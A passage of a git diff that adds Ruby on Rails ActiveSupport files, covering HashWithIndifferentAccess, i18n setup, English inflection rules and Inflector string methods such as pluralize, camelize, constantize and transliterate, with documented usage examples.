+ # hash.key?(:key) # => true
+ # hash.key?('key') # => true
+ def key?(key)
+ super(convert_key(key))
+ end
+
+ alias_method :include?, :key?
+ alias_method :has_key?, :key?
+ alias_method :member?, :key?
+
+ # Same as <tt>Hash#fetch</tt> where the key passed as argument can be
+ # either a string or a symbol:
+ #
+ # counters = ActiveSupport::HashWithIndifferentAccess.new
+ # counters[:foo] = 1
+ #
+ # counters.fetch('foo') # => 1
+ # counters.fetch(:bar, 0) # => 0
+ # counters.fetch(:bar) {|key| 0} # => 0
+ # counters.fetch(:zoo) # => KeyError: key not found: "zoo"
+ def fetch(key, *extras)
+ super(convert_key(key), *extras)
+ end
+
+ # Returns an array of the values at the specified indices:
+ #
+ # hash = ActiveSupport::HashWithIndifferentAccess.new
+ # hash[:a] = 'x'
+ # hash[:b] = 'y'
+ # hash.values_at('a', 'b') # => ["x", "y"]
+ def values_at(*indices)
+ indices.collect {|key| self[convert_key(key)]}
+ end
+
+ # Returns an exact copy of the hash.
+ def dup
+ self.class.new(self).tap do |new_hash|
+ new_hash.default = default
+ end
+ end
+
+ # This method has the same semantics of +update+, except it does not
+ # modify the receiver but rather returns a new hash with indifferent
+ # access with the result of the merge.
+ def merge(hash, &block)
+ self.dup.update(hash, &block)
+ end
+
+ # Like +merge+ but the other way around: Merges the receiver into the
+ # argument and returns a new hash with indifferent access as result:
+ #
+ # hash = ActiveSupport::HashWithIndifferentAccess.new
+ # hash['a'] = nil
+ # hash.reverse_merge(a: 0, b: 1) # => {"a"=>nil, "b"=>1}
+ def reverse_merge(other_hash)
+ super(self.class.new_from_hash_copying_default(other_hash))
+ end
+
+ # Same semantics as +reverse_merge+ but modifies the receiver in-place.
+ def reverse_merge!(other_hash)
+ replace(reverse_merge( other_hash ))
+ end
+
+ # Replaces the contents of this hash with other_hash.
+ #
+ # h = { "a" => 100, "b" => 200 }
+ # h.replace({ "c" => 300, "d" => 400 }) #=> {"c"=>300, "d"=>400}
+ def replace(other_hash)
+ super(self.class.new_from_hash_copying_default(other_hash))
+ end
+
+ # Removes the specified key from the hash.
+ def delete(key)
+ super(convert_key(key))
+ end
+
+ def stringify_keys!; self end
+ def deep_stringify_keys!; self end
+ def stringify_keys; dup end
+ def deep_stringify_keys; dup end
+ undef :symbolize_keys!
+ undef :deep_symbolize_keys!
+ def symbolize_keys; to_hash.symbolize_keys! end
+ def deep_symbolize_keys; to_hash.deep_symbolize_keys end
+ def to_options!; self end
+
+ # Convert to a regular hash with string keys.
+ def to_hash
+ Hash.new(default).merge!(self)
+ end
+
+ protected
+ def convert_key(key)
+ key.kind_of?(Symbol) ? key.to_s : key
+ end
+
+ def convert_value(value)
+ if value.is_a? Hash
+ value.nested_under_indifferent_access
+ elsif value.is_a?(Array)
+ value = value.dup if value.frozen?
+ value.map! { |e| convert_value(e) }
+ else
+ value
+ end
+ end
+ end
+end
+
+HashWithIndifferentAccess = ActiveSupport::HashWithIndifferentAccess
diff --git a/activesupport/lib/active_support/i18n.rb b/activesupport/lib/active_support/i18n.rb
new file mode 100644
index 0000000..22521a8
--- /dev/null
+++ b/activesupport/lib/active_support/i18n.rb
@@ -0,0 +1,13 @@
+begin
+ require 'active_support/core_ext/hash/deep_merge'
+ require 'active_support/core_ext/hash/except'
+ require 'active_support/core_ext/hash/slice'
+ require 'i18n'
+ require 'active_support/lazy_load_hooks'
+rescue LoadError => e
+ $stderr.puts "The i18n gem is not available. Please add it to your Gemfile and run bundle install"
+ raise e
+end
+
+ActiveSupport.run_load_hooks(:i18n)
+I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml"
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
new file mode 100644
index 0000000..890dd93
--- /dev/null
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -0,0 +1,85 @@
+require "active_support"
+require "active_support/file_update_checker"
+require "active_support/core_ext/array/wrap"
+
+module I18n
+ class Railtie < Rails::Railtie
+ config.i18n = ActiveSupport::OrderedOptions.new
+ config.i18n.railties_load_path = []
+ config.i18n.load_path = []
+ config.i18n.fallbacks = ActiveSupport::OrderedOptions.new
+
+ # Set the i18n configuration after initialization since a lot of
+ # configuration is still usually done in application initializers.
+ config.after_initialize do |app|
+ I18n::Railtie.initialize_i18n(app)
+ end
+
+ # Trigger i18n config before any eager loading has happened
+ # so it's ready if any classes require it when eager loaded.
+ config.before_eager_load do |app|
+ I18n::Railtie.initialize_i18n(app)
+ end
+
+ protected
+
+ @i18n_inited = false
+
+ # Setup i18n configuration.
+ def self.initialize_i18n(app)
+ return if @i18n_inited
+
+ fallbacks = app.config.i18n.delete(:fallbacks)
+
+ app.config.i18n.each do |setting, value|
+ case setting
+ when :railties_load_path
+ app.config.i18n.load_path.unshift(*value)
+ when :load_path
+ I18n.load_path += value
+ else
+ I18n.send("#{setting}=", value)
+ end
+ end
+
+ init_fallbacks(fallbacks) if fallbacks && validate_fallbacks(fallbacks)
+
+ reloader = ActiveSupport::FileUpdateChecker.new(I18n.load_path.dup){ I18n.reload! }
+ app.reloaders << reloader
+ ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
+ reloader.execute
+
+ @i18n_inited = true
+ end
+
+ def self.include_fallbacks_module
+ I18n.backend.class.send(:include, I18n::Backend::Fallbacks)
+ end
+
+ def self.init_fallbacks(fallbacks)
+ include_fallbacks_module
+
+ args = case fallbacks
+ when ActiveSupport::OrderedOptions
+ [*(fallbacks[:defaults] || []) << fallbacks[:map]].compact
+ when Hash, Array
+ Array.wrap(fallbacks)
+ else # TrueClass
+ []
+ end
+
+ I18n.fallbacks = I18n::Locale::Fallbacks.new(*args)
+ end
+
+ def self.validate_fallbacks(fallbacks)
+ case fallbacks
+ when ActiveSupport::OrderedOptions
+ !fallbacks.empty?
+ when TrueClass, Array, Hash
+ true
+ else
+ raise "Unexpected fallback type #{fallbacks.inspect}"
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb
new file mode 100644
index 0000000..ef882eb
--- /dev/null
+++ b/activesupport/lib/active_support/inflections.rb
@@ -0,0 +1,65 @@
+require 'active_support/inflector/inflections'
+
+module ActiveSupport
+ Inflector.inflections(:en) do |inflect|
+ inflect.plural(/$/, 's')
+ inflect.plural(/s$/i, 's')
+ inflect.plural(/^(ax|test)is$/i, '\1es')
+ inflect.plural(/(octop|vir)us$/i, '\1i')
+ inflect.plural(/(octop|vir)i$/i, '\1i')
+ inflect.plural(/(alias|status)$/i, '\1es')
+ inflect.plural(/(bu)s$/i, '\1ses')
+ inflect.plural(/(buffal|tomat)o$/i, '\1oes')
+ inflect.plural(/([ti])um$/i, '\1a')
+ inflect.plural(/([ti])a$/i, '\1a')
+ inflect.plural(/sis$/i, 'ses')
+ inflect.plural(/(?:([^f])fe|([lr])f)$/i, '\1\2ves')
+ inflect.plural(/(hive)$/i, '\1s')
+ inflect.plural(/([^aeiouy]|qu)y$/i, '\1ies')
+ inflect.plural(/(x|ch|ss|sh)$/i, '\1es')
+ inflect.plural(/(matr|vert|ind)(?:ix|ex)$/i, '\1ices')
+ inflect.plural(/^(m|l)ouse$/i, '\1ice')
+ inflect.plural(/^(m|l)ice$/i, '\1ice')
+ inflect.plural(/^(ox)$/i, '\1en')
+ inflect.plural(/^(oxen)$/i, '\1')
+ inflect.plural(/(quiz)$/i, '\1zes')
+
+ inflect.singular(/s$/i, '')
+ inflect.singular(/(ss)$/i, '\1')
+ inflect.singular(/(n)ews$/i, '\1ews')
+ inflect.singular(/([ti])a$/i, '\1um')
+ inflect.singular(/((a)naly|(b)a|(d)iagno|(p)arenthe|(p)rogno|(s)ynop|(t)he)(sis|ses)$/i, '\1sis')
+ inflect.singular(/(^analy)(sis|ses)$/i, '\1sis')
+ inflect.singular(/([^f])ves$/i, '\1fe')
+ inflect.singular(/(hive)s$/i, '\1')
+ inflect.singular(/(tive)s$/i, '\1')
+ inflect.singular(/([lr])ves$/i, '\1f')
+ inflect.singular(/([^aeiouy]|qu)ies$/i, '\1y')
+ inflect.singular(/(s)eries$/i, '\1eries')
+ inflect.singular(/(m)ovies$/i, '\1ovie')
+ inflect.singular(/(x|ch|ss|sh)es$/i, '\1')
+ inflect.singular(/^(m|l)ice$/i, '\1ouse')
+ inflect.singular(/(bus)(es)?$/i, '\1')
+ inflect.singular(/(o)es$/i, '\1')
+ inflect.singular(/(shoe)s$/i, '\1')
+ inflect.singular(/(cris|test)(is|es)$/i, '\1is')
+ inflect.singular(/^(a)x[ie]s$/i, '\1xis')
+ inflect.singular(/(octop|vir)(us|i)$/i, '\1us')
+ inflect.singular(/(alias|status)(es)?$/i, '\1')
+ inflect.singular(/^(ox)en/i, '\1')
+ inflect.singular(/(vert|ind)ices$/i, '\1ex')
+ inflect.singular(/(matr)ices$/i, '\1ix')
+ inflect.singular(/(quiz)zes$/i, '\1')
+ inflect.singular(/(database)s$/i, '\1')
+
+ inflect.irregular('person', 'people')
+ inflect.irregular('man', 'men')
+ inflect.irregular('child', 'children')
+ inflect.irregular('sex', 'sexes')
+ inflect.irregular('move', 'moves')
+ inflect.irregular('cow', 'kine')
+ inflect.irregular('zombie', 'zombies')
+
+ inflect.uncountable(%w(equipment information rice money species series fish sheep jeans police))
+ end
+end
diff --git a/activesupport/lib/active_support/inflector.rb b/activesupport/lib/active_support/inflector.rb
new file mode 100644
index 0000000..215a60e
--- /dev/null
+++ b/activesupport/lib/active_support/inflector.rb
@@ -0,0 +1,7 @@
+# in case active_support/inflector is required without the rest of active_support
+require 'active_support/inflector/inflections'
+require 'active_support/inflector/transliterate'
+require 'active_support/inflector/methods'
+
+require 'active_support/inflections'
+require 'active_support/core_ext/string/inflections'
diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb
new file mode 100644
index 0000000..c96debb
--- /dev/null
+++ b/activesupport/lib/active_support/inflector/inflections.rb
@@ -0,0 +1,211 @@
+require 'thread_safe'
+require 'active_support/core_ext/array/prepend_and_append'
+require 'active_support/i18n'
+
+module ActiveSupport
+ module Inflector
+ extend self
+
+ # A singleton instance of this class is yielded by Inflector.inflections,
+ # which can then be used to specify additional inflection rules. If passed
+ # an optional locale, rules for other languages can be specified. The
+ # default locale is <tt>:en</tt>. Only rules for English are provided.
+ #
+ # ActiveSupport::Inflector.inflections(:en) do |inflect|
+ # inflect.plural /^(ox)$/i, '\1\2en'
+ # inflect.singular /^(ox)en/i, '\1'
+ #
+ # inflect.irregular 'octopus', 'octopi'
+ #
+ # inflect.uncountable 'equipment'
+ # end
+ #
+ # New rules are added at the top. So in the example above, the irregular
+ # rule for octopus will now be the first of the pluralization and
+ # singularization rules that is runs. This guarantees that your rules run
+ # before any of the rules that may already have been loaded.
+ class Inflections
+ @__instance__ = ThreadSafe::Cache.new
+
+ def self.instance(locale = :en)
+ @__instance__[locale] ||= new
+ end
+
+ attr_reader :plurals, :singulars, :uncountables, :humans, :acronyms, :acronym_regex
+
+ def initialize
+ @plurals, @singulars, @uncountables, @humans, @acronyms, @acronym_regex = [], [], [], [], {}, /(?=a)b/
+ end
+
+ # Private, for the test suite.
+ def initialize_dup(orig) # :nodoc:
+ %w(plurals singulars uncountables humans acronyms acronym_regex).each do |scope|
+ instance_variable_set("@#{scope}", orig.send(scope).dup)
+ end
+ end
+
+ # Specifies a new acronym. An acronym must be specified as it will appear
+ # in a camelized string. An underscore string that contains the acronym
+ # will retain the acronym when passed to +camelize+, +humanize+, or
+ # +titleize+. A camelized string that contains the acronym will maintain
+ # the acronym when titleized or humanized, and will convert the acronym
+ # into a non-delimited single lowercase word when passed to +underscore+.
+ #
+ # acronym 'HTML'
+ # titleize 'html' #=> 'HTML'
+ # camelize 'html' #=> 'HTML'
+ # underscore 'MyHTML' #=> 'my_html'
+ #
+ # The acronym, however, must occur as a delimited unit and not be part of
+ # another word for conversions to recognize it:
+ #
+ # acronym 'HTTP'
+ # camelize 'my_http_delimited' #=> 'MyHTTPDelimited'
+ # camelize 'https' #=> 'Https', not 'HTTPs'
+ # underscore 'HTTPS' #=> 'http_s', not 'https'
+ #
+ # acronym 'HTTPS'
+ # camelize 'https' #=> 'HTTPS'
+ # underscore 'HTTPS' #=> 'https'
+ #
+ # Note: Acronyms that are passed to +pluralize+ will no longer be
+ # recognized, since the acronym will not occur as a delimited unit in the
+ # pluralized result. To work around this, you must specify the pluralized
+ # form as an acronym as well:
+ #
+ # acronym 'API'
+ # camelize(pluralize('api')) #=> 'Apis'
+ #
+ # acronym 'APIs'
+ # camelize(pluralize('api')) #=> 'APIs'
+ #
+ # +acronym+ may be used to specify any word that contains an acronym or
+ # otherwise needs to maintain a non-standard capitalization. The only
+ # restriction is that the word must begin with a capital letter.
+ #
+ # acronym 'RESTful'
+ # underscore 'RESTful' #=> 'restful'
+ # underscore 'RESTfulController' #=> 'restful_controller'
+ # titleize 'RESTfulController' #=> 'RESTful Controller'
+ # camelize 'restful' #=> 'RESTful'
+ # camelize 'restful_controller' #=> 'RESTfulController'
+ #
+ # acronym 'McDonald'
+ # underscore 'McDonald' #=> 'mcdonald'
+ # camelize 'mcdonald' #=> 'McDonald'
+ def acronym(word)
+ @acronyms[word.downcase] = word
+ @acronym_regex = /#{@acronyms.values.join("|")}/
+ end
+
+ # Specifies a new pluralization rule and its replacement. The rule can
+ # either be a string or a regular expression. The replacement should
+ # always be a string that may include references to the matched data from
+ # the rule.
+ def plural(rule, replacement)
+ @uncountables.delete(rule) if rule.is_a?(String)
+ @uncountables.delete(replacement)
+ @plurals.prepend([rule, replacement])
+ end
+
+ # Specifies a new singularization rule and its replacement. The rule can
+ # either be a string or a regular expression. The replacement should
+ # always be a string that may include references to the matched data from
+ # the rule.
+ def singular(rule, replacement)
+ @uncountables.delete(rule) if rule.is_a?(String)
+ @uncountables.delete(replacement)
+ @singulars.prepend([rule, replacement])
+ end
+
+ # Specifies a new irregular that applies to both pluralization and
+ # singularization at the same time. This can only be used for strings, not
+ # regular expressions. You simply pass the irregular in singular and
+ # plural form.
+ #
+ # irregular 'octopus', 'octopi'
+ # irregular 'person', 'people'
+ def irregular(singular, plural)
+ @uncountables.delete(singular)
+ @uncountables.delete(plural)
+
+ s0 = singular[0]
+ srest = singular[1..-1]
+
+ p0 = plural[0]
+ prest = plural[1..-1]
+
+ if s0.upcase == p0.upcase
+ plural(/(#{s0})#{srest}$/i, '\1' + prest)
+ plural(/(#{p0})#{prest}$/i, '\1' + prest)
+
+ singular(/(#{s0})#{srest}$/i, '\1' + srest)
+ singular(/(#{p0})#{prest}$/i, '\1' + srest)
+ else
+ plural(/#{s0.upcase}(?i)#{srest}$/, p0.upcase + prest)
+ plural(/#{s0.downcase}(?i)#{srest}$/, p0.downcase + prest)
+ plural(/#{p0.upcase}(?i)#{prest}$/, p0.upcase + prest)
+ plural(/#{p0.downcase}(?i)#{prest}$/, p0.downcase + prest)
+
+ singular(/#{s0.upcase}(?i)#{srest}$/, s0.upcase + srest)
+ singular(/#{s0.downcase}(?i)#{srest}$/, s0.downcase + srest)
+ singular(/#{p0.upcase}(?i)#{prest}$/, s0.upcase + srest)
+ singular(/#{p0.downcase}(?i)#{prest}$/, s0.downcase + srest)
+ end
+ end
+
+ # Add uncountable words that shouldn't be attempted inflected.
+ #
+ # uncountable 'money'
+ # uncountable 'money', 'information'
+ # uncountable %w( money information rice )
+ def uncountable(*words)
+ (@uncountables << words).flatten!
+ end
+
+ # Specifies a humanized form of a string by a regular expression rule or
+ # by a string mapping. When using a regular expression based replacement,
+ # the normal humanize formatting is called after the replacement. When a
+ # string is used, the human form should be specified as desired (example:
+ # 'The name', not 'the_name').
+ #
+ # human /_cnt$/i, '\1_count'
+ # human 'legacy_col_person_name', 'Name'
+ def human(rule, replacement)
+ @humans.prepend([rule, replacement])
+ end
+
+ # Clears the loaded inflections within a given scope (default is
+ # <tt>:all</tt>). Give the scope as a symbol of the inflection type, the
+ # options are: <tt>:plurals</tt>, <tt>:singulars</tt>, <tt>:uncountables</tt>,
+ # <tt>:humans</tt>.
+ #
+ # clear :all
+ # clear :plurals
+ def clear(scope = :all)
+ case scope
+ when :all
+ @plurals, @singulars, @uncountables, @humans = [], [], [], []
+ else
+ instance_variable_set "@#{scope}", []
+ end
+ end
+ end
+
+ # Yields a singleton instance of Inflector::Inflections so you can specify
+ # additional inflector rules. If passed an optional locale, rules for other
+ # languages can be specified. If not specified, defaults to <tt>:en</tt>.
+ # Only rules for English are provided.
+ #
+ # ActiveSupport::Inflector.inflections(:en) do |inflect|
+ # inflect.uncountable 'rails'
+ # end
+ def inflections(locale = :en)
+ if block_given?
+ yield Inflections.instance(locale)
+ else
+ Inflections.instance(locale)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
new file mode 100644
index 0000000..3964872
--- /dev/null
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -0,0 +1,342 @@
+# encoding: utf-8
+
+require 'active_support/inflector/inflections'
+require 'active_support/inflections'
+
+module ActiveSupport
+ # The Inflector transforms words from singular to plural, class names to table
+ # names, modularized class names to ones without, and class names to foreign
+ # keys. The default inflections for pluralization, singularization, and
+ # uncountable words are kept in inflections.rb.
+ #
+ # The Rails core team has stated patches for the inflections library will not
+ # be accepted in order to avoid breaking legacy applications which may be
+ # relying on errant inflections. If you discover an incorrect inflection and
+ # require it for your application or wish to define rules for languages other
+ # than English, please correct or add them yourself (explained below).
+ module Inflector
+ extend self
+
+ # Returns the plural form of the word in the string.
+ #
+ # If passed an optional +locale+ parameter, the word will be
+ # pluralized using rules defined for that language. By default,
+ # this parameter is set to <tt>:en</tt>.
+ #
+ # 'post'.pluralize # => "posts"
+ # 'octopus'.pluralize # => "octopi"
+ # 'sheep'.pluralize # => "sheep"
+ # 'words'.pluralize # => "words"
+ # 'CamelOctopus'.pluralize # => "CamelOctopi"
+ # 'ley'.pluralize(:es) # => "leyes"
+ def pluralize(word, locale = :en)
+ apply_inflections(word, inflections(locale).plurals)
+ end
+
+ # The reverse of +pluralize+, returns the singular form of a word in a
+ # string.
+ #
+ # If passed an optional +locale+ parameter, the word will be
+ # pluralized using rules defined for that language. By default,
+ # this parameter is set to <tt>:en</tt>.
+ #
+ # 'posts'.singularize # => "post"
+ # 'octopi'.singularize # => "octopus"
+ # 'sheep'.singularize # => "sheep"
+ # 'word'.singularize # => "word"
+ # 'CamelOctopi'.singularize # => "CamelOctopus"
+ # 'leyes'.singularize(:es) # => "ley"
+ def singularize(word, locale = :en)
+ apply_inflections(word, inflections(locale).singulars)
+ end
+
+ # By default, +camelize+ converts strings to UpperCamelCase. If the argument
+ # to +camelize+ is set to <tt>:lower</tt> then +camelize+ produces
+ # lowerCamelCase.
+ #
+ # +camelize+ will also convert '/' to '::' which is useful for converting
+ # paths to namespaces.
+ #
+ # 'active_model'.camelize # => "ActiveModel"
+ # 'active_model'.camelize(:lower) # => "activeModel"
+ # 'active_model/errors'.camelize # => "ActiveModel::Errors"
+ # 'active_model/errors'.camelize(:lower) # => "activeModel::Errors"
+ #
+ # As a rule of thumb you can think of +camelize+ as the inverse of
+ # +underscore+, though there are cases where that does not hold:
+ #
+ # 'SSLError'.underscore.camelize # => "SslError"
+ def camelize(term, uppercase_first_letter = true)
+ string = term.to_s
+ if uppercase_first_letter
+ string = string.sub(/^[a-z\d]*/) { inflections.acronyms[$&] || $&.capitalize }
+ else
+ string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { $&.downcase }
+ end
+ string.gsub(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }.gsub('/', '::')
+ end
+
+ # Makes an underscored, lowercase form from the expression in the string.
+ #
+ # Changes '::' to '/' to convert namespaces to paths.
+ #
+ # 'ActiveModel'.underscore # => "active_model"
+ # 'ActiveModel::Errors'.underscore # => "active_model/errors"
+ #
+ # As a rule of thumb you can think of +underscore+ as the inverse of
+ # +camelize+, though there are cases where that does not hold:
+ #
+ # 'SSLError'.underscore.camelize # => "SslError"
+ def underscore(camel_cased_word)
+ word = camel_cased_word.to_s.dup
+ word.gsub!('::', '/')
+ word.gsub!(/(?:([A-Za-z\d])|^)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1}#{$1 && '_'}#{$2.downcase}" }
+ word.gsub!(/([A-Z\d]+)([A-Z][a-z])/,'\1_\2')
+ word.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
+ word.tr!("-", "_")
+ word.downcase!
+ word
+ end
+
+ # Capitalizes the first word and turns underscores into spaces and strips a
+ # trailing "_id", if any. Like +titleize+, this is meant for creating pretty
+ # output.
+ #
+ # 'employee_salary'.humanize # => "Employee salary"
+ # 'author_id'.humanize # => "Author"
+ def humanize(lower_case_and_underscored_word)
+ result = lower_case_and_underscored_word.to_s.dup
+ inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
+ result.gsub!(/_id$/, "")
+ result.tr!('_', ' ')
+ result.gsub(/([a-z\d]*)/i) { |match|
+ "#{inflections.acronyms[match] || match.downcase}"
+ }.gsub(/^\w/) { $&.upcase }
+ end
+
+ # Capitalizes all the words and replaces some characters in the string to
+ # create a nicer looking title. +titleize+ is meant for creating pretty
+ # output. It is not used in the Rails internals.
+ #
+ # +titleize+ is also aliased as +titlecase+.
+ #
+ # 'man from the boondocks'.titleize # => "Man From The Boondocks"
+ # 'x-men: the last stand'.titleize # => "X Men: The Last Stand"
+ # 'TheManWithoutAPast'.titleize # => "The Man Without A Past"
+ # 'raiders_of_the_lost_ark'.titleize # => "Raiders Of The Lost Ark"
+ def titleize(word)
+ humanize(underscore(word)).gsub(/\b(?<!['’`])[a-z]/) { $&.capitalize }
+ end
+
+ # Create the name of a table like Rails does for models to table names. This
+ # method uses the +pluralize+ method on the last word in the string.
+ #
+ # 'RawScaledScorer'.tableize # => "raw_scaled_scorers"
+ # 'egg_and_ham'.tableize # => "egg_and_hams"
+ # 'fancyCategory'.tableize # => "fancy_categories"
+ def tableize(class_name)
+ pluralize(underscore(class_name))
+ end
+
+ # Create a class name from a plural table name like Rails does for table
+ # names to models. Note that this returns a string and not a Class (To
+ # convert to an actual class follow +classify+ with +constantize+).
+ #
+ # 'egg_and_hams'.classify # => "EggAndHam"
+ # 'posts'.classify # => "Post"
+ #
+ # Singular names are not handled correctly:
+ #
+ # 'business'.classify # => "Busines"
+ def classify(table_name)
+ # strip out any leading schema name
+ camelize(singularize(table_name.to_s.sub(/.*\./, '')))
+ end
+
+ # Replaces underscores with dashes in the string.
+ #
+ # 'puni_puni'.dasherize # => "puni-puni"
+ def dasherize(underscored_word)
+ underscored_word.tr('_', '-')
+ end
+
+ # Removes the module part from the expression in the string.
+ #
+ # 'ActiveRecord::CoreExtensions::String::Inflections'.demodulize # => "Inflections"
+ # 'Inflections'.demodulize # => "Inflections"
+ #
+ # See also +deconstantize+.
+ def demodulize(path)
+ path = path.to_s
+ if i = path.rindex('::')
+ path[(i+2)..-1]
+ else
+ path
+ end
+ end
+
+ # Removes the rightmost segment from the constant expression in the string.
+ #
+ # 'Net::HTTP'.deconstantize # => "Net"
+ # '::Net::HTTP'.deconstantize # => "::Net"
+ # 'String'.deconstantize # => ""
+ # '::String'.deconstantize # => ""
+ # ''.deconstantize # => ""
+ #
+ # See also +demodulize+.
+ def deconstantize(path)
+ path.to_s[0...(path.rindex('::') || 0)] # implementation based on the one in facets' Module#spacename
+ end
+
+ # Creates a foreign key name from a class name.
+ # +separate_class_name_and_id_with_underscore+ sets whether
+ # the method should put '_' between the name and 'id'.
+ #
+ # 'Message'.foreign_key # => "message_id"
+ # 'Message'.foreign_key(false) # => "messageid"
+ # 'Admin::Post'.foreign_key # => "post_id"
+ def foreign_key(class_name, separate_class_name_and_id_with_underscore = true)
+ underscore(demodulize(class_name)) + (separate_class_name_and_id_with_underscore ? "_id" : "id")
+ end
+
+ # Tries to find a constant with the name specified in the argument string.
+ #
+ # 'Module'.constantize # => Module
+ # 'Test::Unit'.constantize # => Test::Unit
+ #
+ # The name is assumed to be the one of a top-level constant, no matter
+ # whether it starts with "::" or not. No lexical context is taken into
+ # account:
+ #
+ # C = 'outside'
+ # module M
+ # C = 'inside'
+ # C # => 'inside'
+ # 'C'.constantize # => 'outside', same as ::C
+ # end
+ #
+ # NameError is raised when the name is not in CamelCase or the constant is
+ # unknown.
+ def constantize(camel_cased_word)
+ names = camel_cased_word.split('::')
+ names.shift if names.empty? || names.first.empty?
+
+ names.inject(Object) do |constant, name|
+ if constant == Object
+ constant.const_get(name)
+ else
+ candidate = constant.const_get(name)
+ next candidate if constant.const_defined?(name, false)
+ next candidate unless Object.const_defined?(name)
+
+ # Go down the ancestors to check it it's owned
+ # directly before we reach Object or the end of ancestors.
+ constant = constant.ancestors.inject do |const, ancestor|
+ break const if ancestor == Object
+ break ancestor if ancestor.const_defined?(name, false)
+ const
+ end
+
+ # owner is in Object, so raise
+ constant.const_get(name, false)
+ end
+ end
+ end
+
+ # Tries to find a constant with the name specified in the argument string.
+ #
+ # 'Module'.safe_constantize # => Module
+ # 'Test::Unit'.safe_constantize # => Test::Unit
+ #
+ # The name is assumed to be the one of a top-level constant, no matter
+ # whether it starts with "::" or not. No lexical context is taken into
+ # account:
+ #
+ # C = 'outside'
+ # module M
+ # C = 'inside'
+ # C # => 'inside'
+ # 'C'.safe_constantize # => 'outside', same as ::C
+ # end
+ #
+ # +nil+ is returned when the name is not in CamelCase or the constant (or
+ # part of it) is unknown.
+ #
+ # 'blargle'.safe_constantize # => nil
+ # 'UnknownModule'.safe_constantize # => nil
+ # 'UnknownModule::Foo::Bar'.safe_constantize # => nil
+ def safe_constantize(camel_cased_word)
+ constantize(camel_cased_word)
+ rescue NameError => e
+ raise unless e.message =~ /(uninitialized constant|wrong constant name) #{const_regexp(camel_cased_word)}$/ ||
+ e.name.to_s == camel_cased_word.to_s
+ rescue ArgumentError => e
+ raise unless e.message =~ /not missing constant #{const_regexp(camel_cased_word)}\!$/
+ end
+
+ # Returns the suffix that should be added to a number to denote the position
+ # in an ordered sequence such as 1st, 2nd, 3rd, 4th.
+ #
+ # ordinal(1) # => "st"
+ # ordinal(2) # => "nd"
+ # ordinal(1002) # => "nd"
+ # ordinal(1003) # => "rd"
+ # ordinal(-11) # => "th"
+ # ordinal(-1021) # => "st"
+ def ordinal(number)
+ abs_number = number.to_i.abs
+
+ if (11..13).include?(abs_number % 100)
+ "th"
+ else
+ case abs_number % 10
+ when 1; "st"
+ when 2; "nd"
+ when 3; "rd"
+ else "th"
+ end
+ end
+ end
+
+ # Turns a number into an ordinal string used to denote the position in an
+ # ordered sequence such as 1st, 2nd, 3rd, 4th.
+ #
+ # ordinalize(1) # => "1st"
+ # ordinalize(2) # => "2nd"
+ # ordinalize(1002) # => "1002nd"
+ # ordinalize(1003) # => "1003rd"
+ # ordinalize(-11) # => "-11th"
+ # ordinalize(-1021) # => "-1021st"
+ def ordinalize(number)
+ "#{number}#{ordinal(number)}"
+ end
+
+ private
+
+ # Mount a regular expression that will match part by part of the constant.
+ # For instance, Foo::Bar::Baz will generate Foo(::Bar(::Baz)?)?
+ def const_regexp(camel_cased_word) #:nodoc:
+ parts = camel_cased_word.split("::")
+ last = parts.pop
+
+ parts.reverse.inject(last) do |acc, part|
+ part.empty? ? acc : "#{part}(::#{acc})?"
+ end
+ end
+
+ # Applies inflection rules for +singularize+ and +pluralize+.
+ #
+ # apply_inflections('post', inflections.plurals) # => "posts"
+ # apply_inflections('posts', inflections.singulars) # => "post"
+ def apply_inflections(word, rules)
+ result = word.to_s.dup
+
+ if word.empty? || inflections.uncountables.include?(result.downcase[/\b\w+\Z/])
+ result
+ else
+ rules.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
+ result
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/inflector/transliterate.rb b/activesupport/lib/active_support/inflector/transliterate.rb
new file mode 100644
index 0000000..1cde417
--- /dev/null
+++ b/activesupport/lib/active_support/inflector/transliterate.rb
@@ -0,0 +1,97 @@
+# encoding: utf-8
+require 'active_support/core_ext/string/multibyte'
+require 'active_support/i18n'
+
+module ActiveSupport
+ module Inflector
+
+ # Replaces non-ASCII characters with an ASCII approximation, or if none
+ # exists, a replacement character which defaults to "?".
+ #
+ # transliterate('Ærøskøbing')
+ # # => "AEroskobing"
+ #
+ # Default approximations are provided for Western/Latin characters,
+ # e.g, "ø", "ñ", "é", "ß", etc.
+ #
+ # This method is I18n aware, so you can set up custom approximations for a
+ # locale. This can be useful, for example, to transliterate German's "ü"
+ # and "ö" to "ue" and "oe", or to add support for transliterating Russian
+ # to ASCII.
+ #
+ # In order to make your custom transliterations available, you must set
+ # them as the <tt>i18n.transliterate.rule</tt> i18n key:
+ #
+ # # Store the transliterations in locales/de.yml
+ # i18n:
+ # transliterate:
+ # rule:
+ # ü: "ue"
+ # ö: "oe"
+ #
+ # # Or set them using Ruby
+ # I18n.backend.store_translations(:de, i18n: {
+ # transliterate: {
+ # rule: {
+ # 'ü' => 'ue',
+ # 'ö' => 'oe'
+ # }
+ # }
+ # })
+ #
+ # The value for <tt>i18n.transliterate.rule</tt> can be a simple Hash that
+ # maps characters to ASCII approximations as shown above, or, for more
+ # complex requirements, a Proc:
+ #
+ # I18n.backend.store_translations(:de, i18n: {
+ # transliterate: {
+ # rule: ->(string) { MyTransliterator.transliterate(string) }
+ # }
+ # })
+ #
+ # Now you can have different transliterations for each locale:
+ #
+ # I18n.locale = :en
+ # transliterate('Jürgen')
+ # # => "Jurgen"
+ #
+ # I18n.locale = :de
+ # transliterate('Jürgen')
+ # # => "Juergen"
